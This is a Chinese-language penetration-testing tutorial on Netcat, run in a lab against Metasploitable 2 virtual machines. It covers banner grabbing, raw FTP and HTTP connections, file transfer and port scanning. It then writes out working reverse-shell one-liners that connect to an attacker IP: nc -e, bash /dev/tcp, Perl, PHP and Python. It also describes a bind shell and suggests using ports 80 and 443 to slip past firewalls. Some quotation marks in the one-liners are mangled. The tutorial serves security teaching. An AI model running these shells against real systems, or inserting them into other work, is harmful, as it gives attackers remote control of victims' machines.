渗透中Necat的另类用法

Necat 是一个伟大而实用的用于 TCP 和 UPD 网络连接协议的读写程序。同时 Necat 也被誉为网络中的瑞士军刀,在许多黑客教程中 Necat 也被广泛使用。Necat 最常见用途是设置反向连接和 bind shell ,管道和重定向网络流量,端口侦听,调试程序和脚本,抓取 banner 等作用。在本教程中,我们将学到以下内容:

1. Banner 抓取
2. 原始连接
3. Webserver 交互
4. 文件传输

5. Necat 端口扫描6. 绑定和反弹 shell

我们将使用运行Linux和通过一些可视化的几个虚拟机,来演示这些技术。

Banner 抓取 原始连接 和 Webserver 交互服务的 banner 信息通常被系统管理员,用于了解当前网络中的系统和运行的服务情况。服务的 banner 信息标识了正在运行的服务类型,还标识了服务的版本信息。banner 抓取是一种在开放端口上检索关于特定服务信息的技术,并且可以在渗透测试期间用于执行漏洞评估。当我们使用 Netcat 进行横幅抓取时,实际上会对指定端口上的指定主机进行原始连接。当被抓取的 banner 可用时,它会打印到控制台。下面让我们看看如何实现该项功能:
Netcat banner 抓取使用以下命令与目标服务建立原始连接,并抓取服务的 banner 信息:
nc [ip address][port]
让我们以  Metasploitable 2 下正运行在 21 端口下的 FTP 服务为例:
nc 192.168.100.100 21

<ignore_js_op>渗透中Necat的另类用法 

从抓取的 banner 信息我们可以得知目前目标主机 21 端口上运行了 vsFTPD  服务,版本为 2.3.4 。
Netcat 原始连接为了更直观的演示原始连接的工作过程,我们将连接到 FTP 服务上,并发出一些 FTP 命令。让我们看看该 FTP 服务是否支持匿名操作访问,我们在 USER 和 PASS  下键入 anonymous ,可以看到登陆成功!

渗透中Necat的另类用法

以上我演示了如何抓取 banner 以及 如何设置和使用原始数据连接的方法。在这个演示中,我们使用了一个FTP服务,其实除了 FTP 服务,该技术同样适用于其它服务,例如SMTP和HTTP服务等。
Web server 交互Netcat 也可用于我们发出 HTTP 请求时的 webserver 交互。使用以下命令我们可以抓取到正在 Metasploitable 2 上运行的 web 服务:
nc 192.168.100.108 80
接着输入 HTTP 请求指令:
HEAD / HTTP/1.0

<ignore_js_op>渗透中Necat的另类用法 

我们可以看到 webserver 向我们响应了 服务端的一些基本信息,Apache/2.2.8 (Ubuntu) DAV/2 以及 PHP 版本等。
要在Web服务器上检索 webserver 的页面标题信息,我们可以发出以下命令:
nc 192.168.100.108 80
接着输入 HTTP 请求指令:
GET / HTTP/1.0

渗透中Necat的另类用法

Netcat 文件传输
在本例中,我们将使用Netcat连接来传输文本文件。让我们假设我们在目标主机上可以执行远程命令,并且我们要将文件从攻击者的机器远程传输到受害者主机。首先,我们需要在目标主机上设置一个侦听,并从攻击者机器与它建立连接。我们将通过 8080 端口进行传输,并将文件存放在桌面:
nc -lvp 8080 > /root/Desktop/transfer.txt
此时我们在攻击者机器上输入以下命令与目标机器的 8080 端口建立连接,并传输一个名为 transfer.txt的文本文件:
nc 192.168.100.107 8080 < /root/Desktop/transfer.txt

<ignore_js_op>渗透中Necat的另类用法 

接着我们 control + c 并在目标机器上 cat 我们传输的文本文件,可以看到我们的文本文件被成功传输到了目标主机上:

渗透中Necat的另类用法

Necat 端口扫描其实 Necat 还可以实现端口的扫描功能:
nc -nvz 10.1.1.11 1-65535  TCP端口扫描
nc -nvzu 10.1.1.11 1-65535   UDP端口扫描

以上我们介绍的,都是 Necat 的一些基本使用操作。下面我们来学习下 Ncat 最受欢迎和被使用最多的功能:设置绑定 shell 和反弹 shell 。我们将了解 bind shell和 reverse shell之间的区别以及它们的基本使用。 Netcat 通常不存在于系统上,因为它可能被视为潜在的安全问题。在此情况下,我们将学习如何使用其他工具和编程语言,来代替 Netcat 一些功能,例如设置反向shell 的功能。我们会使用编程和脚本语言,如Python,PHP,Perl和Bash是很好的选择!我们将结束这个教程与如何使用绑定shell。

Netcat 反弹 shell
从渗透测试的角度来说, Necat 通常被用来建立 反弹和绑定 shell 。反弹 shell 通常用于目标有开启一些防护措施,例如防火墙的过滤或端口的转发等。通过这种方式我们可以一定程度上绕过防护机制,从而达到获取目标主机的 shell 的目的。而绑定 shell 则是在目标主机上绑定一个处于侦听状态的端口,用于攻击者对其进行固定的连接,从而获取 shell 。

下面我将使用 4444 端口来完成 反弹和绑定 shell 的演示操作。这里你们可以使用任意端口,并非要像我一样!不过在实际环境中,我们应该设置更常见的端口,例如 80 和 443 来设置 反弹 shell 。

Netcat 反弹 shell 的建立
首先让我们通过下图,来更加深入的了解下 Necat 反弹 shell 的工作机制原理:

渗透中Necat的另类用法

我们来简单分析下以上图示,可以看到目标主机反弹连接了攻击者机器的,并使用 -e 参数像攻击者机器发送了 Bash shell 。如果在 windows 主机上,我们还可以发送 cmd.exe 的反弹 shell 。这样我们可以假设,如果我们在目标主机上发现了一个远程代码执行(RCE)漏洞。那么,我们就可以在目标主机上使用 -e 发出 Netcat 命令,并使用 Netcat 启动反弹 shell 发出命令!

Netcat 反弹 shell 演示为了成功建立一个 Netcat 的反弹 shell 我们需要以下几个步骤:
1.设置 Netcat 侦听。
2.从目标主机与侦听建立连接。
3.从目标主机发送命令到攻击者机器。
首先我们使用以下命令,在攻击者机器上设置一个在 4444 端口上的侦听程序:
nc –lvp 4444
接着,我们在目标主机上向攻击者机器发送指定命令(记住这里我们有远程代码执行权限在目标主机上):
如果是在 Linux 上,命令如下:
nc 192.168.100.113 4444 –e /bin/bash
如果是在 Windows 上,命令如下:
nc.exe 192.168.100.113 4444 –e cmd.exe
现在,我们在攻击者机器上就取得了一个目标主机的 bash shell, 并且我们可以完全控制目标主机在该反弹 shell 的 root 权限账户下。

渗透中Necat的另类用法

可以看到,绿颜色的 console 窗口是目标主机的,下面的则是攻击者的机器。我们可以看到,这里已经取得了一个 root 操作权限,从攻击者 192.168.100.113 连接到目标主机 192.168.100.107 上。

脱离 Netcat 建立的反弹 shell
通过以上演示我们不难发现,想要成功获取目标主机的 shell ,目标主机则必须有 Necat 。但在实际环境中,并不会如我们所愿!因此,为了避免这种尴尬下面我们使用另一种方法,来替代 Necat 的作用。

Bash reverse shell
我们还可以使用以下 bash 命令来实现反弹 shell 的建立:

[AppleScript] 纯文本查看 复制代码
1
bash -i >& /dev/tcp/192.168.100.113/4444 0>&1
渗透中Necat的另类用法

可以看到,攻击者机器上的 Necat 同样获取到了目标主机的反弹 shell 。

Perl reverse shell
如果此时目标主机上用的是 Perl 语言,我们依然可以使用 Perl 来建立反弹 shell 。在目标主机上运行以下命令:

[AppleScript] 纯文本查看 复制代码
1
perl -e ‘use Socket;$i=192.168.100.113″;$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,>&S”);open(STDOUT,>&S”);open(STDERR,>&S”);exec(/bin/sh -i”);};’
渗透中Necat的另类用法

PHP reverse shell
如果目标主机上用的是 PHP,这通常是Web服务器上的情况,它是Netcat,Perl 和 Bash 的一个很好的替代品。让我们使用以下命令,来实现 PHP 环境下的反弹 shell :

[AppleScript] 纯文本查看 复制代码
1
php -r ‘$sock=fsockopen(192.168.100.113,4444);exec(/bin/sh -i <&3 >&3 2>&3);’

我们可以从以上代码中看到,它依然会返回一个 /bin/sh shell 。

渗透中Necat的另类用法

Python reverse shell
Python也是Linux机器上常用的一种脚本语言。下面我们使用 Python 来建立反弹 shell :

[AppleScript] 纯文本查看 复制代码
1
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.100.113,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,-i”]);’
渗透中Necat的另类用法

Netcat bind shell
下面我们来看看绑定 shell 的原理图示:

渗透中Necat的另类用法

从上图示我们可以看到,目标主机绑定了一个 bash shell 并侦听在 4444 端口上。攻击者通过一条简单的 Necat 命令,来与其建立连接。步骤如下:
1.使用 Necat 在 4444 端口绑定一个 bash shell 。
2.在攻击者机器上连接目标主机的 4444 端口。
3.发送指定命令到攻击者机器。
Netcat Bind shell 演示让我们看 console 控制台演示,如下:

渗透中Necat的另类用法

可以看到目标主机绑定了一个 bash shell 在 4444 端口,攻击者则使用 Necat 获取到了目标主机的 root 权限的 shell 。
总结:通过以上的学习,我们已经学会了 Necat 一些基本的命令使用方法。重要的是,我们还掌握了一些可以替代 reverse shell 和 bind shell 的方法。这对我们今后,在真实环境下的渗透测试,提供了更多的方法及思路。因此,我们一定要熟练掌握和运用这些方法,只有这样我们的渗透才能更加高效和成功!

上一篇:matplotlib 和 pandas 两个包的安装


下一篇:吴裕雄--天生自然 R语言开发学习:基础知识